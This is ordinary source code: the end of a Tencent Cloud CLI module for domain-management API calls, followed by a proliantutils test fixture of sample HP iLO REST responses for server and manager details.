json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribeDomainPriceList(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribeDomainPriceListRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.DescribeDomainPriceList(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doCreateDomainBatch(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.CreateDomainBatchRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.CreateDomainBatch(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) CLIENT_MAP = { "v20180808": domain_client_v20180808, } MODELS_MAP = { "v20180808": models_v20180808, } ACTION_MAP = { "SetDomainAutoRenew": doSetDomainAutoRenew, "CheckBatchStatus": doCheckBatchStatus, "UploadImage": doUploadImage, "SendPhoneEmailCode": doSendPhoneEmailCode, "DescribeDomainNameList": doDescribeDomainNameList, "DeletePhoneEmail": doDeletePhoneEmail, "DescribeDomainBaseInfo": doDescribeDomainBaseInfo, "DescribeBatchOperationLogDetails": doDescribeBatchOperationLogDetails, "DeleteTemplate": doDeleteTemplate, "CheckDomain": doCheckDomain, "RenewDomainBatch": doRenewDomainBatch, "DescribeTemplate": doDescribeTemplate, "CreatePhoneEmail": doCreatePhoneEmail, "DescribeTemplateList": doDescribeTemplateList, "DescribeBatchOperationLogs": doDescribeBatchOperationLogs, "BatchModifyDomainInfo": doBatchModifyDomainInfo, "TransferProhibitionBatch": doTransferProhibitionBatch, "TransferInDomainBatch": doTransferInDomainBatch, "UpdateProhibitionBatch": doUpdateProhibitionBatch, "CreateTemplate": doCreateTemplate, "ModifyDomainOwnerBatch": doModifyDomainOwnerBatch, "DescribePhoneEmailList": doDescribePhoneEmailList, "ModifyDomainDNSBatch": doModifyDomainDNSBatch, "DescribeDomainPriceList": doDescribeDomainPriceList, "CreateDomainBatch": doCreateDomainBatch, } AVAILABLE_VERSION_LIST = [ "v20180808", ] def action_caller(): return ACTION_MAP def parse_global_arg(parsed_globals): g_param = parsed_globals is_exist_profile = True if not parsed_globals["profile"]: is_exist_profile = False g_param["profile"] = "default" configure_path = os.path.join(os.path.expanduser("~"), ".tccli") is_conf_exist, conf_path = Utils.file_existed(configure_path, g_param["profile"] + ".configure") is_cred_exist, cred_path = Utils.file_existed(configure_path, g_param["profile"] + ".credential") conf = {} cred = {} if is_conf_exist: conf = Utils.load_json_msg(conf_path) if is_cred_exist: cred = Utils.load_json_msg(cred_path) if not (isinstance(conf, dict) and isinstance(cred, dict)): raise ConfigurationError( "file: %s or %s is not json format" % (g_param["profile"] + ".configure", g_param["profile"] + ".credential")) if OptionsDefine.Token not in cred: cred[OptionsDefine.Token] = None if not is_exist_profile: if os.environ.get(OptionsDefine.ENV_SECRET_ID) and os.environ.get(OptionsDefine.ENV_SECRET_KEY): cred[OptionsDefine.SecretId] = os.environ.get(OptionsDefine.ENV_SECRET_ID) cred[OptionsDefine.SecretKey] = os.environ.get(OptionsDefine.ENV_SECRET_KEY) cred[OptionsDefine.Token] = os.environ.get(OptionsDefine.ENV_TOKEN) if os.environ.get(OptionsDefine.ENV_REGION): conf[OptionsDefine.Region] = os.environ.get(OptionsDefine.ENV_REGION) if os.environ.get(OptionsDefine.ENV_ROLE_ARN) and os.environ.get(OptionsDefine.ENV_ROLE_SESSION_NAME): cred[OptionsDefine.RoleArn] = os.environ.get(OptionsDefine.ENV_ROLE_ARN) cred[OptionsDefine.RoleSessionName] = os.environ.get(OptionsDefine.ENV_ROLE_SESSION_NAME) for param in g_param.keys(): if g_param[param] is None: if param in [OptionsDefine.SecretKey, OptionsDefine.SecretId, OptionsDefine.Token]: if param in cred: g_param[param] = cred[param] elif not g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: raise ConfigurationError("%s is invalid" % param) elif param in [OptionsDefine.Region, OptionsDefine.Output]: if param in conf: g_param[param] = conf[param] else: raise ConfigurationError("%s is invalid" % param) elif param.replace('_', '-') in [OptionsDefine.RoleArn, OptionsDefine.RoleSessionName]: if param.replace('_', '-') in cred: g_param[param] = cred[param.replace('_', '-')] try: if g_param[OptionsDefine.ServiceVersion]: g_param[OptionsDefine.Version] = "v" + g_param[OptionsDefine.ServiceVersion].replace('-', '') else: version = conf["domain"][OptionsDefine.Version] g_param[OptionsDefine.Version] = "v" + version.replace('-', '') if g_param[OptionsDefine.Endpoint] is None: g_param[OptionsDefine.Endpoint] = conf["domain"][OptionsDefine.Endpoint] except Exception as err: raise ConfigurationError("config file:%s error, %s" % (conf_path, str(err))) if g_param[OptionsDefine.Version] not in AVAILABLE_VERSION_LIST: raise Exception("available versions: %s" % " ".join(AVAILABLE_VERSION_LIST)) if g_param[OptionsDefine.Waiter]: param = eval(g_param[OptionsDefine.Waiter]) if 'expr' not in param: raise Exception('`expr` in `--waiter` must be defined') if 'to' not in param: raise Exception('`to` in `--waiter` must be defined') if 'timeout' not in param: if 'waiter' in conf and 'timeout' in conf['waiter']: param['timeout'] = conf['waiter']['timeout'] else: param['timeout'] = 180 if 'interval' not in param: if 'waiter' in conf and 'interval' in conf['waiter']: param['interval'] = conf['waiter']['interval'] else: param['timeout'] = 5 param['interval'] = min(param['interval'], param['timeout']) g_param['OptionsDefine.WaiterInfo'] = param # 如果在配置文件中读取字段的值，python2中的json.load函数会读取unicode类型的值，因此这里要转化类型 if six.PY2: for key, value in g_param.items(): if isinstance(value, six.text_type): g_param[key] = value.encode('utf-8') return g_param

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py

Python

proliantutils/tests/ilo/ris_sample_outputs.py

anta-nok/proliantutils

35c711e391b839bbb93c24880e08e4ac7554dae6

[ "Apache-2.0" ]

null

proliantutils/tests/ilo/ris_sample_outputs.py

anta-nok/proliantutils

35c711e391b839bbb93c24880e08e4ac7554dae6

[ "Apache-2.0" ]

null

proliantutils/tests/ilo/ris_sample_outputs.py

anta-nok/proliantutils

35c711e391b839bbb93c24880e08e4ac7554dae6

[ "Apache-2.0" ]

null

# Copyright 2015 Hewlett-Packard Development Company, L.P. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # Flake doesn't allow files without anything. Remove on first commit. MODULE = "RIS" HTTP_BOOT_URL = { "UefiShellStartupUrl": "http://10.10.1.30:8081/startup.nsh" } RESPONSE_BODY_FOR_REST_OP = """ { "AssetTag": "", "AvailableActions": [ { "Action": "Reset", "Capabilities": [ { "AllowableValues": [ "On", "ForceOff", "ForceRestart", "Nmi", "PushPowerButton" ], "PropertyName": "ResetType" } ] } ], "Bios": { "Current": { "VersionString": "I36 v1.40 (01/28/2015)" } }, "Boot": { "BootSourceOverrideEnabled": "Disabled", "BootSourceOverrideSupported": [ "None", "Cd", "Hdd", "Usb", "Utilities", "Diags", "BiosSetup", "Pxe", "UefiShell", "UefiTarget" ], "BootSourceOverrideTarget": "None", "UefiTargetBootSourceOverride": "None", "UefiTargetBootSourceOverrideSupported": [ "HD.Emb.1.2", "Generic.USB.1.1", "NIC.FlexLOM.1.1.IPv4", "NIC.FlexLOM.1.1.IPv6", "CD.Virtual.2.1" ] }, "Description": "Computer System View", "HostCorrelation": { "HostMACAddress": [ "6c:c2:17:39:fe:80", "6c:c2:17:39:fe:88" ], "HostName": "", "IPAddress": [ "", "" ] }, "IndicatorLED": "Off", "Manufacturer": "HP", "Memory": { "TotalSystemMemoryGB": 16 }, "Model": "ProLiant BL460c Gen9", "Name": "Computer System", "Oem": { "Hp": { "AvailableActions": [ { "Action": "PowerButton", "Capabilities": [ { "AllowableValues": [ "Press", "PressAndHold" ], "PropertyName": "PushType" }, { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] }, { "Action": "SystemReset", "Capabilities": [ { "AllowableValues": [ "ColdBoot" ], "PropertyName": "ResetType" }, { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] } ], "Battery": [], "Bios": { "Backup": { "Date": "v1.40 (01/28/2015)", "Family": "I36", "VersionString": "I36 v1.40 (01/28/2015)" }, "Current": { "Date": "01/28/2015", "Family": "I36", "VersionString": "I36 v1.40 (01/28/2015)" }, "UefiClass": 2 }, "DeviceDiscoveryComplete": { "AMSDeviceDiscovery": "NoAMS", "SmartArrayDiscovery": "Initial", "vAuxDeviceDiscovery": "DataIncomplete", "vMainDeviceDiscovery": "ServerOff" }, "PostState": "PowerOff", "PowerAllocationLimit": 500, "PowerAutoOn": "PowerOn", "PowerOnDelay": "Minimum", "PowerRegulatorMode": "Dynamic", "PowerRegulatorModesSupported": [ "OSControl", "Dynamic", "Max", "Min" ], "ServerSignature": 0, "Type": "HpComputerSystemExt.0.10.1", "VirtualProfile": "Inactive", "VirtualUUID": null, "links": { "BIOS": { "href": "/rest/v1/systems/1/bios" }, "MEMORY": { "href": "/rest/v1/Systems/1/Memory" }, "PCIDevices": { "href": "/rest/v1/Systems/1/PCIDevices" }, "PCISlots": { "href": "/rest/v1/Systems/1/PCISlots" }, "SecureBoot": { "href": "/rest/v1/Systems/1/SecureBoot" } } } }, "Power": "Off", "Processors": { "Count": 1, "ProcessorFamily": "Intel(R) Xeon(R) CPU E5-2609 v3 @ 1.90GHz", "Status": { "HealthRollUp": "OK" } }, "SKU": "727021-B21", "SerialNumber": "SGH449WNL3", "Status": { "Health": "OK", "State": "Disabled" }, "SystemType": "Physical", "Type": "ComputerSystem.0.9.6", "UUID": "30373237-3132-4753-4834-3439574E4C33", "links": { "Chassis": [ { "href": "/rest/v1/Chassis/1" } ], "Logs": { "href": "/rest/v1/Systems/1/Logs" }, "ManagedBy": [ { "href": "/rest/v1/Managers/1" } ], "self": { "href": "/rest/v1/Systems/1" } } } """ RESPONSE_BODY_FOR_REST_OP_WITH_ISCSI = """ { "Boot": { "BootSourceOverrideEnabled": "Disabled", "BootSourceOverrideSupported": [ "None", "Cd", "Hdd", "Usb", "Utilities", "Diags", "BiosSetup", "Pxe", "UefiShell", "UefiTarget" ], "BootSourceOverrideTarget": "None", "UefiTargetBootSourceOverride": "None", "UefiTargetBootSourceOverrideSupported": [ "HD.Emb.1.2", "Generic.USB.1.1", "NIC.FlexLOM.1.1.IPv4", "NIC.FlexLOM.1.1.IPv6", "NIC.LOM.1.1.iSCSI", "CD.Virtual.2.1" ] } } """ RESPONSE_BODY_FOR_REST_OP_WITH_ISCSI_AND_NONE = """ { "Boot": { "BootSourceOverrideEnabled": "Disabled", "BootSourceOverrideSupported": [ "None", "Cd", "Hdd", "Usb", "Utilities", "Diags", "BiosSetup", "Pxe", "UefiShell", "UefiTarget" ], "BootSourceOverrideTarget": "None", "UefiTargetBootSourceOverride": "None", "UefiTargetBootSourceOverrideSupported": [ "HD.Emb.1.2", null, "HD.Emb.2.1", "HD.Emb.1.2", "NIC.FlexLOM.1.1.IPv4", "NIC.FlexLOM.1.1.IPv6", "NIC.LOM.1.1.iSCSI", "CD.Virtual.2.1" ] } } """ HEADERS_FOR_REST_OP = [('content-length', '2729'), ('server', 'HP-iLO-Server/1.30'), ('etag', 'W/"B61EB245"'), ('allow', 'GET, HEAD, POST, PATCH'), ('cache-control', 'no-cache'), ('date', 'Thu, 19 Mar 2015 06:55:59 GMT'), ('x_hp-chrp-service-version', '1.0.3'), ('content-type', 'application/json')] COLLECTIONS_SAMPLE = """ { "Description": "iLO User Accounts", "links": { "Member": [ { "href": "/rest/v1/AccountService/Accounts/1" } ], "self": { "href": "/rest/v1/AccountService/Accounts" } }, "Items": [ { "UserName": "Administrator", "Description": "iLO User Account", "links": { "self": { "href": "/rest/v1/AccountService/Accounts/1" } }, "Oem": { "Hp": { "Privileges": { "RemoteConsolePriv": "true", "iLOConfigPriv": "true", "VirtualMediaPriv": "true", "UserConfigPriv": "true", "VirtualPowerAndResetPriv": "true", "LoginPriv": "true" }, "LoginName": "Administrator", "Type": "HpiLOAccount.0.9.7" } }, "Password": null, "Type": "ManagerAccount.0.9.7", "Name": "User Account" } ], "MemberType": "ManagerAccount.0", "Total": 1, "Type": "Collection.0.9.5", "Name": "Accounts" } """ GET_HEADERS = { 'content-length': '114', 'etag': 'W/"715B59E6"', 'allow': 'GET, HEAD, PATCH, POST', 'cache-control': 'no-cache', 'date': 'Mon, 23 Mar 2015 08:49:12 GMT', 'server': 'HP-iLO-Server/1.30', 'content-type': 'application/json', 'x_hp-chrp-service-version': '1.0.3' } REST_GET_SMART_STORAGE = """ { "Model": "ProLiant BL460c Gen9", "Name": "Computer System", "Oem": { "Hp": { "links": { "SmartStorage": { "href": "/rest/v1/Systems/1/SmartStorage" } } } } } """ REST_GET_SECURE_BOOT = { "Name": "SecureBoot", "ResetAllKeys": True, "ResetToDefaultKeys": True, "SecureBootCurrentState": False, "SecureBootEnable": True, "Type": "HpSecureBoot.0.9.5", "links": { "self": { "href": "/rest/v1/Systems/1/SecureBoot" } } } REST_FAILURE_OUTPUT = { 'Type': 'ExtendedError.1.0.0', 'Messages': [{'MessageID': 'Base.0.0.FakeFailureMessage'}], 'Name': 'Extended Error Information' } REST_POST_RESPONSE = { 'Type': 'ExtendedError.0.9.6', 'Messages': [{'MessageID': 'Base.0.0.Success'}], 'Name': 'Extended Error Information' } GET_MANAGER_DETAILS = """ { "AvailableActions": [ { "Action": "Reset" } ], "CommandShell": { "ConnectTypesSupported": [ "SSH", "Oem" ], "Enabled": true, "MaxConcurrentSessions": 9 }, "Description": "Manager View", "Firmware": { "Current": { "VersionString": "iLO 4 v2.20" } }, "GraphicalConsole": { "ConnectTypesSupported": [ "KVMIP" ], "Enabled": true, "MaxConcurrentSessions": 10 }, "ManagerType": "BMC", "Model": "iLO 4", "Name": "Manager", "Oem": { "Hp": { "AvailableActions": [ { "Action": "ResetRestApiState", "Capabilities": [ { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] } ], "FederationConfig": { "IPv6MulticastScope": "Site", "MulticastAnnouncementInterval": 600, "MulticastDiscovery": "Enabled", "MulticastTimeToLive": 5, "iLOFederationManagement": "Enabled" }, "Firmware": { "Current": { "Date": "Feb 09 2015", "DebugBuild": false, "MajorVersion": 2, "MinorVersion": 4, "Time": "", "VersionString": "iLO 4 v2.04" } }, "License": { "LicenseKey": "32Q6W-PQWTB-H7XYL-39968-RR53R", "LicenseString": "iLO 4 Advanced", "LicenseType": "Perpetual" }, "RequiredLoginForiLORBSU": false, "SerialCLISpeed": 9600, "SerialCLIStatus": "EnabledAuthReq", "Type": "HpiLO.0.13.0", "VSPLogDownloadEnabled": false, "iLOSelfTestResults": [ { "Notes": "", "SelfTestName": "NVRAMData", "Status": "OK" }, { "Notes": "Controller firmware revision 2.09.00 ", "SelfTestName": "EmbeddedFlash/SDCard", "Status": "OK" }, { "Notes": "", "SelfTestName": "EEPROM", "Status": "OK" }, { "Notes": "", "SelfTestName": "HostRom", "Status": "OK" }, { "Notes": "", "SelfTestName": "SupportedHost", "Status": "OK" }, { "Notes": "ProLiant BL460c Gen9 System Programmable \ Logic Device version 0x13", "SelfTestName": "CPLDPAL0", "Status": "Informational" }, { "Notes": "ProLiant BL460c Gen9 SAS Programmable \ Logic Device version 0x01", "SelfTestName": "CPLDPAL1", "Status": "Informational" } ], "links": { "ActiveHealthSystem": { "href": "/rest/v1/Managers/1/ActiveHealthSystem" }, "DateTimeService": { "href": "/rest/v1/Managers/1/DateTime" }, "EmbeddedMediaService": { "href": "/rest/v1/Managers/1/EmbeddedMedia" }, "FederationDispatch": { "extref": "/dispatch" }, "FederationGroups": { "href": "/rest/v1/Managers/1/FederationGroups" }, "FederationPeers": { "href": "/rest/v1/Managers/1/FederationPeers" }, "LicenseService": { "href": "/rest/v1/Managers/1/LicenseService" }, "UpdateService": { "href": "/rest/v1/Managers/1/UpdateService" }, "VSPLogLocation": { "extref": "/sol.log.gz" } } } }, "SerialConsole": { "ConnectTypesSupported": [ "SSH", "IPMI", "Oem" ], "Enabled": true, "MaxConcurrentSessions": 13 }, "Status": { "State": "Enabled" }, "Type": "Manager.0.10.0", "UUID": "83590768-e977-575a-927a-b3de8f692d4f", "links": { "EthernetNICs": { "href": "/rest/v1/Managers/1/NICs" }, "Logs": { "href": "/rest/v1/Managers/1/Logs" }, "ManagerForServers": [ { "href": "/rest/v1/Systems/1" } ], "NetworkService": { "href": "/rest/v1/Managers/1/NetworkService" }, "VirtualMedia": { "href": "/rest/v1/Managers/1/VirtualMedia" }, "self": { "href": "/rest/v1/Managers/1" } } } """ GET_MANAGER_DETAILS_EQ_SUGGESTED = """ { "AvailableActions": [ { "Action": "Reset" } ], "CommandShell": { "ConnectTypesSupported": [ "SSH", "Oem" ], "Enabled": true, "MaxConcurrentSessions": 9 }, "Description": "Manager View", "Firmware": { "Current": { "VersionString": "iLO 4 v2.20" } }, "GraphicalConsole": { "ConnectTypesSupported": [ "KVMIP" ], "Enabled": true, "MaxConcurrentSessions": 10 }, "ManagerType": "BMC", "Model": "iLO 4", "Name": "Manager", "Oem": { "Hp": { "AvailableActions": [ { "Action": "ResetRestApiState", "Capabilities": [ { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] } ], "FederationConfig": { "IPv6MulticastScope": "Site", "MulticastAnnouncementInterval": 600, "MulticastDiscovery": "Enabled", "MulticastTimeToLive": 5, "iLOFederationManagement": "Enabled" }, "Firmware": { "Current": { "Date": "Feb 09 2015", "DebugBuild": false, "MajorVersion": 2, "MinorVersion": 4, "Time": "", "VersionString": "iLO 4 v2.30" } }, "License": { "LicenseKey": "32Q6W-PQWTB-H7XYL-39968-RR53R", "LicenseString": "iLO 4 Advanced", "LicenseType": "Perpetual" }, "RequiredLoginForiLORBSU": false, "SerialCLISpeed": 9600, "SerialCLIStatus": "EnabledAuthReq", "Type": "HpiLO.0.13.0", "VSPLogDownloadEnabled": false, "iLOSelfTestResults": [ { "Notes": "", "SelfTestName": "NVRAMData", "Status": "OK" }, { "Notes": "Controller firmware revision 2.09.00 ", "SelfTestName": "EmbeddedFlash/SDCard", "Status": "OK" }, { "Notes": "", "SelfTestName": "EEPROM", "Status": "OK" }, { "Notes": "", "SelfTestName": "HostRom", "Status": "OK" }, { "Notes": "", "SelfTestName": "SupportedHost", "Status": "OK" }, { "Notes": "ProLiant BL460c Gen9 System Programmable \ Logic Device version 0x13", "SelfTestName": "CPLDPAL0", "Status": "Informational" }, { "Notes": "ProLiant BL460c Gen9 SAS Programmable \ Logic Device version 0x01", "SelfTestName": "CPLDPAL1", "Status": "Informational" } ], "links": { "ActiveHealthSystem": { "href": "/rest/v1/Managers/1/ActiveHealthSystem" }, "DateTimeService": { "href": "/rest/v1/Managers/1/DateTime" }, "EmbeddedMediaService": { "href": "/rest/v1/Managers/1/EmbeddedMedia" }, "FederationDispatch": { "extref": "/dispatch" }, "FederationGroups": { "href": "/rest/v1/Managers/1/FederationGroups" }, "FederationPeers": { "href": "/rest/v1/Managers/1/FederationPeers" }, "LicenseService": { "href": "/rest/v1/Managers/1/LicenseService" }, "UpdateService": { "href": "/rest/v1/Managers/1/UpdateService" }, "VSPLogLocation": { "extref": "/sol.log.gz" } } } }, "SerialConsole": { "ConnectTypesSupported": [ "SSH", "IPMI", "Oem" ], "Enabled": true, "MaxConcurrentSessions": 13 }, "Status": { "State": "Enabled" }, "Type": "Manager.0.10.0", "UUID": "83590768-e977-575a-927a-b3de8f692d4f", "links": { "EthernetNICs": { "href": "/rest/v1/Managers/1/NICs" }, "Logs": { "href": "/rest/v1/Managers/1/Logs" }, "ManagerForServers": [ { "href": "/rest/v1/Systems/1" } ], "NetworkService": { "href": "/rest/v1/Managers/1/NetworkService" }, "VirtualMedia": { "href": "/rest/v1/Managers/1/VirtualMedia" }, "self": { "href": "/rest/v1/Managers/1" } } } """ GET_MANAGER_DETAILS_GT_SUGGESTED = """ { "AvailableActions": [ { "Action": "Reset" } ], "CommandShell": { "ConnectTypesSupported": [ "SSH", "Oem" ], "Enabled": true, "MaxConcurrentSessions": 9 }, "Description": "Manager View", "Firmware": { "Current": { "VersionString": "iLO 4 v2.54" } }, "GraphicalConsole": { "ConnectTypesSupported": [ "KVMIP" ], "Enabled": true, "MaxConcurrentSessions": 10 }, "ManagerType": "BMC", "Model": "iLO 4", "Name": "Manager", "Oem": { "Hp": { "AvailableActions": [ { "Action": "ResetRestApiState", "Capabilities": [ { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] } ], "FederationConfig": { "IPv6MulticastScope": "Site", "MulticastAnnouncementInterval": 600, "MulticastDiscovery": "Enabled", "MulticastTimeToLive": 5, "iLOFederationManagement": "Enabled" }, "Firmware": { "Current": { "Date": "Feb 09 2015", "DebugBuild": false, "MajorVersion": 2, "MinorVersion": 54, "Time": "", "VersionString": "iLO 4 v2.54" } }, "License": { "LicenseKey": "32Q6W-PQWTB-H7XYL-39968-RR53R", "LicenseString": "iLO 4 Advanced", "LicenseType": "Perpetual" }, "RequiredLoginForiLORBSU": false, "SerialCLISpeed": 9600, "SerialCLIStatus": "EnabledAuthReq", "Type": "HpiLO.0.13.0", "VSPLogDownloadEnabled": false, "iLOSelfTestResults": [ { "Notes": "", "SelfTestName": "NVRAMData", "Status": "OK" }, { "Notes": "Controller firmware revision 2.09.00 ", "SelfTestName": "EmbeddedFlash/SDCard", "Status": "OK" }, { "Notes": "", "SelfTestName": "EEPROM", "Status": "OK" }, { "Notes": "", "SelfTestName": "HostRom", "Status": "OK" }, { "Notes": "", "SelfTestName": "SupportedHost", "Status": "OK" }, { "Notes": "ProLiant BL460c Gen9 System Programmable \ Logic Device version 0x13", "SelfTestName": "CPLDPAL0", "Status": "Informational" }, { "Notes": "ProLiant BL460c Gen9 SAS Programmable \ Logic Device version 0x01", "SelfTestName": "CPLDPAL1", "Status": "Informational" } ], "links": { "ActiveHealthSystem": { "href": "/rest/v1/Managers/1/ActiveHealthSystem" }, "DateTimeService": { "href": "/rest/v1/Managers/1/DateTime" }, "EmbeddedMediaService": { "href": "/rest/v1/Managers/1/EmbeddedMedia" }, "FederationDispatch": { "extref": "/dispatch" }, "FederationGroups": { "href": "/rest/v1/Managers/1/FederationGroups" }, "FederationPeers": { "href": "/rest/v1/Managers/1/FederationPeers" }, "LicenseService": { "href": "/rest/v1/Managers/1/LicenseService" }, "UpdateService": { "href": "/rest/v1/Managers/1/UpdateService" }, "VSPLogLocation": { "extref": "/sol.log.gz" } } } }, "SerialConsole": { "ConnectTypesSupported": [ "SSH", "IPMI", "Oem" ], "Enabled": true, "MaxConcurrentSessions": 13 }, "Status": { "State": "Enabled" }, "Type": "Manager.0.10.0", "UUID": "83590768-e977-575a-927a-b3de8f692d4f", "links": { "EthernetNICs": { "href": "/rest/v1/Managers/1/NICs" }, "Logs": { "href": "/rest/v1/Managers/1/Logs" }, "ManagerForServers": [ { "href": "/rest/v1/Systems/1" } ], "NetworkService": { "href": "/rest/v1/Managers/1/NetworkService" }, "VirtualMedia": { "href": "/rest/v1/Managers/1/VirtualMedia" }, "self": { "href": "/rest/v1/Managers/1" } } } """ GET_MANAGER_DETAILS_NO_FIRMWARE = """ { "AvailableActions": [ { "Action": "Reset" } ], "CommandShell": { "ConnectTypesSupported": [ "SSH", "Oem" ], "Enabled": true, "MaxConcurrentSessions": 9 }, "Description": "Manager View", "Firmware": { "Current": { "VersionString": "iLO 4 v2.20" } }, "GraphicalConsole": { "ConnectTypesSupported": [ "KVMIP" ], "Enabled": true, "MaxConcurrentSessions": 10 }, "ManagerType": "BMC", "Model": "iLO 4", "Name": "Manager", "Oem": { "Hp": { "AvailableActions": [ { "Action": "ResetRestApiState", "Capabilities": [ { "AllowableValues": [ "/Oem/Hp" ], "PropertyName": "Target" } ] } ], "FederationConfig": { "IPv6MulticastScope": "Site", "MulticastAnnouncementInterval": 600, "MulticastDiscovery": "Enabled", "MulticastTimeToLive": 5, "iLOFederationManagement": "Enabled" }, "Firmware": { "Current": { "Date": "Feb 09 2015", "DebugBuild": false, "MinorVersion": 20, "Time": "", "VersionString": "iLO 4 v" } }, "License": { "LicenseKey": "32Q6W-PQWTB-H7XYL-39968-RR53R", "LicenseString": "iLO 4 Advanced", "LicenseType": "Perpetual" }, "RequiredLoginForiLORBSU": false, "SerialCLISpeed": 9600, "SerialCLIStatus": "EnabledAuthReq", "Type": "HpiLO.0.13.0", "VSPLogDownloadEnabled": false, "iLOSelfTestResults": [ { "Notes": "", "SelfTestName": "NVRAMData", "Status": "OK" }, { "Notes": "Controller firmware revision 2.09.00 ", "SelfTestName": "EmbeddedFlash/SDCard", "Status": "OK" }, { "Notes": "", "SelfTestName": "EEPROM", "Status": "OK" }, { "Notes": "", "SelfTestName": "HostRom", "Status": "OK" }, { "Notes": "", "SelfTestName": "SupportedHost", "Status": "OK" }, { "Notes": "ProLiant BL460c Gen9 System Programmable \ Logic Device version 0x13", "SelfTestName": "CPLDPAL0", "Status": "Informational" }, { "Notes": "ProLiant BL460c Gen9 SAS Programmable \ Logic Device version 0x01", "SelfTestName": "CPLDPAL1", "Status": "Informational" } ], 